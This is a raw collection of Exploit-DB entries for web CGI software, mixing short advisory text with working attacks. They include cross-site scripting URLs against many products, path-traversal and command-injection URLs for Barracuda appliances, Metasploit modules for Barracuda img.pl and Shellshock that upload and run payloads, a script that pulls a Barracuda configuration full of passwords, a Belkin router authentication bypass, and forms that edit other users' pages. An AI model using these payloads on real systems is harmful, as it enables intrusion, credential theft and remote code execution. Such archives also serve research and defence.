deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37806
Description: AxisInternet VoIP Manager - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2012-09-18
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/55589/info

AxisInternet VoIP Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AxisInternet VoIP Manager 2.1.5.7 is vulnerable; other versions may also be affected. 

https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=%22%3 %3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&department_match=1&action=Select

https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&firstname_match=1&department=&department_match=1&action=Select

https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&;lastname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select

https://www.example.com/asterisk/contact_chooser.cgi?contact=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C

https://www.example.com/asterisk/contacts.cgi?type=2&usr=demo-100&managed_usr=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select+
Exploit-DB #27672
Description: axoverzicht.CGI - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-18
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17584/info

The axoverzicht.cgi script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/axoverzicht.cgi?maand=[XSS]
Exploit-DB #35676
Description: BackupPC 3.x - 'index.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2011-04-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47628/info

BackupPC is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.cgi?action=browse&amp;amp;host=localhost&amp;amp;num=99999%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E
http://www.example.com/index.cgi?action=RestoreFile&amp;amp;host=localhost&amp;amp;num=1&amp;amp;share=%3Cscript%3Ealert%28234%29%3C/script%3E&amp;amp;dir=
Exploit-DB #22669
Description: Bandmin 1.4 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-05-28
Author: silent needel

Exploit:
source: https://www.securityfocus.com/bid/7729/info

It has been reported that a cross-site scripting vulnerability exists in Bandmin. Because of this, an attacker may be able to execute script code or HTML in the context of the site hosting Bandmin by enticing a web user to follow a malicious link. 

http://www.example.com/bandwidth/index.cgi?action=showmonth&year=[FIRST SCRIPT]&month=[SECOND SCRIPT]

http://www.example.com/bandwidth/index.cgi?action=showhost&month=May&year=2003&host=[THIRD SCRIPT]
Exploit-DB #27689
Description: BannerFarm 2.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17613/info

BannerFarm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.3 of BannerFarm is vulnerable to these issues; other versions may also be affected.

http://www.example.com/banners.cgi?aff=[XSS]
http://www.example.com/banners.cgi?aff=&cat=[XSS]
Exploit-DB #32907
Description: Banshee 1.4.2 DAAP Extension - '/apps/web/vs_diag.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2009-04-13
Author: Anthony de Almeida Lopes

Exploit:
source: https://www.securityfocus.com/bid/34507/info

Banshee DAAP Extension is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

DAAP Extension for Banshee 1.4.2 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com:8089/[xss-here]
Exploit-DB #16893
Description: Barracuda - IMG.pl Remote Command Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: barracuda_img_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda IMG.PL Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
			},
			'Author'         => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2005-2847'],
					['OSVDB', '19279'],
					['BID', '14712'],
					['NSS', '19556'],
					['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Sep 01 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
			], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'f' => ("../" * 8) + "etc/hosts"
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")

			m = res.body.match(/YYY(.*)YYY/)

			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end

		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #15130
Description: Barracuda Networks Spam & Virus Firewall 4.1.1.021 - Remote Configuration Retrieval
Type: webapps
Platform: cgi
Date: 2010-09-27
Author: ShadowHatesYou

Exploit:
#!/bin/bash
# Exploit by ShadowHatesYou
# Shadow@SquatThis.net
#
# The resulting output is an SQL dump containing the Barracuda's configuration, which includes goodies such as:
#
# The administrative password for the BSF(system_password)
# MTA LDAP passwords(mta_ldap_advanced_password)
# Password for each configured mailbox(user_password)
# Internal networking information(system_gateway, system_ip, system_netmask, system_primary_dns_server, system_secondary_dns_server)
#
#
# Exploit-DB Notes:
# If /cgi-mod/view_help.cgi returns a 404, try /cgi-bin/view_help.cgi instead. You should be able to determine this manually since Barracuda automatically redirects you to the login page anyway.

if [ $# != 1 ]; then
	echo "# Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval"
	echo "# Use: $0 <host/ip> "
	echo "#"
	exit;
fi;
curl http://$1:8000/cgi-mod/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00 > $1.config
ls -hl $1.config
Exploit-DB #28321
Description: Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access
Type: webapps
Platform: cgi
Date: 2006-08-01
Author: Greg Sinclair

Exploit:
source: https://www.securityfocus.com/bid/19276/info

Spam Firewall is prone to multiple vulnerabilities, including a directory-traversal issue, access-validation issue, and a remote command-execution issue.

A remote attacker can exploit these issues to gain access to potentially sensitive information and execute commands in the context of the affected application.

Versions 3.3.01.001 to 3.3.03.055 are vulnerable to these issues.

####################################################################
 
Proof of Concept:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
 
 
####################################################################
 
#using |unix| for command execution:
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a|

#admin login/pass vuln
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl|
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl
 
eg.

#`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`;
login: guest pass: phteam99

some folder are accessible via http without permission
https://<deviceIP>/Translators/
https://<deviceIP>/images/
https://<deviceIP>/locale
https://<deviceIP>/plugins
https://<deviceIP>/help
 
#stuff in do_install
 
/usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM
 
## Create backup tmp dir

/bin/mkdir -p /mail/tmp/backup/
chmod -R 777 /mail/tmp/
 
## Create smb backup mount point
/bin/mkdir -p /mnt/smb/
chmod 777 /mnt/smb/
Exploit-DB #34895
Description: Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2014-10-06
Author: Fady Mohammed Osman

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Shellshock Bashed CGI RCE',
      'Description'    => %q{
          This module exploits the shellshock vulnerability in apache cgi. It allows you to
        excute any metasploit payload you want.
      },
      'Author'         =>
        [
            'Stephane Chazelas',	# vuln discovery
            'Fady Mohamed Osman'	# Metasploit module f.othman at zinad.net
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-6271' ]
        ],
      'Payload'	     =>
        {
          'BadChars' => "",
        },
        'Platform' => 'linux',
        'Arch'		     => ARCH_X86,
        'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Aug 13 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
        OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
      ], self.class)
  end

  def exploit
    @payload_name = "#{rand_text_alpha(5)}"
    full_path = datastore['FILEPATH'] + '/' + @payload_name
    payload_exe = generate_payload_exe
    if payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
    end
    peer = "#{rhost}:#{rport}"
    print_status("#{peer} - Creating payload #{full_path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI'],
      'agent'    => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +  "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
    })
  end
end
Exploit-DB #24254
Description: BasiliX Webmail 1.1 - Email Header HTML Injection
Type: webapps
Platform: cgi
Date: 2004-07-05
Author: Roman Medina-Heigl Hernandez

Exploit:
source: https://www.securityfocus.com/bid/10662/info

BasiliX Webmail is reported to be prone to an email header HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied email header strings.

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials; disclosure of personal email is possible. Other attacks are also possible.

Content-Type: application/octet-stream"<script>window.alert(document.cookie)</script>"; name=top_secret.pdf
Exploit-DB #21587
Description: BBC Education Betsie 1.5 - Parserl.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-07-01
Author: Mark Rowe

Exploit:
source: https://www.securityfocus.com/bid/5135/info

Betsie (BBC Education Text to Speech Internet Enhancer) is prone to a cross-site scripting vulnerability. This issue exists in the parserl.pl script.

Attackers may exploit this condition via a malicious link to a site running the vulnerable software. Successful exploitation will enable an attacker to cause script code to be executed in the web browser of a user who visits the malicious link. 

http://server/cgi-bin/betsie/parserl.pl/<script>alert("eek!")</script>
Exploit-DB #39131
Description: Beheer Systeem - 'pbs.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-03-26
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/66489/info

Beheer Systeem is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

Beheer Systeem 6.1 is vulnerable; other versions may also be affected. 

http://www.example.com/!/pbs.cgi?download=;id|
Exploit-DB #40081
Description: Belkin AC1200 Router Firmware 1.00.27 - Authentication Bypass
Type: webapps
Platform: cgi
Date: 2016-07-11
Author: Gregory Smiley

Exploit:
'''
# Exploit Title: Belkin Router AC1200, Firmware: 1.00.27 - Authentication Bypass
# Date: 5/11/2016
# Exploit Author: Gregory Smiley
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://www.belkin.com
# Version: Firmware: 1.00.27
# Tested on:F9K1113 v1


#1. Description:

#The Belkin AC1200 is vulnerable to authentication bypass due to it performing client side
#authentication after you attempt to login after already having failed a login. That webpage, loginpserr.stm contains the md5 hash value of the administrators password. This can be
#exploited by extracting that hash value, and passing it in the pws field in a post request to
#login.cgi.

#I would like to note that I contacted Belkin on several occasions
#and gave them plenty of time to reply/fix the issue before releasing this entry.



#2. Proof:

#Line 55 of loginpserr.stm contains the javascript code:

#var [CREDENTIAL_REDACTED]";


#3. Exploit:
'''

#!/usr/bin/python


import urllib

import urllib2

import sys


router = raw_input('Enter IP address of your AC1200 to test: ')

page = urllib2.urlopen('http://'+router+'/loginpserr.stm').read()

test_page = page


vuln_string = 'var password = "'

if vuln_string in test_page:

	print 'Router is vulnerable.'
	answer = raw_input('Would you like to exploit the target? Y/N : ')


else:


	print 'Router is not vulnerable.'
	print 'exiting...'

sys.exit()


if (answer == 'y') or (answer == 'Y'):


	extract = test_page.split(vuln_string, 1)[1] #These two lines extract the leaked hash value
	_hash = extract.partition('"')[0] #from /loginpserr.stm using quotes as a delimiter


else:


	if (answer == 'n') or (answer == 'N'):
		print 'exiting...'

sys.exit()


#Assemble the POST request to /login.cgi



headers = {


'Host': router,

'Connection': 'keep-alive',

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0',

'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' : 'en-US,en;q=0.5',

'Accept-Encoding' : 'gzip, deflate',

'Referer' : 'http://'+router+'/',

'Connection': 'keep-alive',

'Content-Type': 'application/x-www-form-urlencoded'

}


data = {



'totalMSec':'0',

'pws': _hash,

'url':'status.stm',

'arc_action':'login',

'pws_temp': ''

}


data = urllib.urlencode(data)


#Sends the POST request with the hash in the pws field


req = urllib2.Request('http://'+router+'/login.cgi', data, headers)


response = urllib2.urlopen(req)

the_page = response.read()


print 'Exploit successful.'

print 'You are now free to navigate to http://'+router+'/ ...as admin ;)'
Exploit-DB #21659
Description: Ben Chivers Easy Guestbook 1.0 - Administrative Access
Type: webapps
Platform: cgi
Date: 2002-07-29
Author: Arek Suroboyo

Exploit:
source: https://www.securityfocus.com/bid/5341/info

The vulnerability has been reported for Easy Guestbook 1.0. It is possible for an atttacker to modify any user's guestbook by deleting entries. The vulnerability is the result of Guestbook failing to properly authenticate users who wish to edit guestbooks. 

<html>
<body>
<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
<form method="POST" action="http://victim/guestbook/admin.cgi">
Delete No. of Entries in Guestbook: <input type="text" value="" name="function" size="5"> <input type="submit" value="Delete Message" name="delete_message" style="font-size: 10pt; font-family: verdana; font-weight: bold"><br><hr>
Open Administration Guestbook: <input type="submit" value="Back to Admin" name="back_to_admin" style="color: #800080; fo
nt-weight: bold">
</form>
</body>
</html>
Exploit-DB #21658
Description: Ben Chivers Easy Homepage Creator 1.0 - File Modification
Type: webapps
Platform: cgi
Date: 2002-07-29
Author: Arek Suroboyo

Exploit:
source: https://www.securityfocus.com/bid/5340/info

The vulnerability has been reported for Easy Homepage Creator. It is possible for an atttacker to modify any user's home page. The vulnerability is the result of Homepage Creator failing to properly authenticate users who wish to edit home pages. 

<html><center>
<h1>Easy Homepage Creator Vulnerability</h1>
<table border=0 cellpadding=2 cellspacing=1 width="90%">
<FORM method="POST" name=edit action="http://victim/homepage/edit.cgi">
Username: <input name="username"><br>
You can edit other user homepage below :
<textarea rows="17" id="homepage_edit" name="homepage_edit" cols="88">
Please type your messages in here.
&lt;/textarea&gt;
<tr>
<td class=top>
<input class=button type="submit" value="Edit Homepage" name="edit_homepage"></td>
</tr>
</FORM>
</table>
</html>
Exploit-DB #26858
Description: Binary Board System 0.2.5 - 'reply.pl' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15913/info

binary board system is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects version 0.2.5; earlier versions may also be vulnerable. 

http://www.example.com/reply.pl?board=1&article=81&inreplyto=[XSS]&[member]=yes
http://www.example.com/reply.pl?board=1&article=[XSS]&inreplyto=0&[member]=yes
http://www.example.com/reply.pl?board=[XSS]&article=81&inreplyto=&[member]=yes
Exploit-DB #26859
Description: Binary Board System 0.2.5 - 'stats.pl' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15913/info
 
binary board system is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
This issue affects version 0.2.5; earlier versions may also be vulnerable. 

http://www.example.com/stats.pl?action=branchdetail&branch=[XSS]&view=posts&[member]=yes
http://www.example.com/stats.pl?action=boarddetail&board=[XSS]&view=posts&[member]=yes
http://www.example.com/stats.pl?action=userdetail&user=[XSS]&view=posts&[member]=yes
Exploit-DB #26860
Description: Binary Board System 0.2.5 - 'toc.pl?board' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15913/info
  
binary board system is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
This issue affects version 0.2.5; earlier versions may also be vulnerable. 

http://www.example.com/toc.pl?board=[XSS]&[member]=yes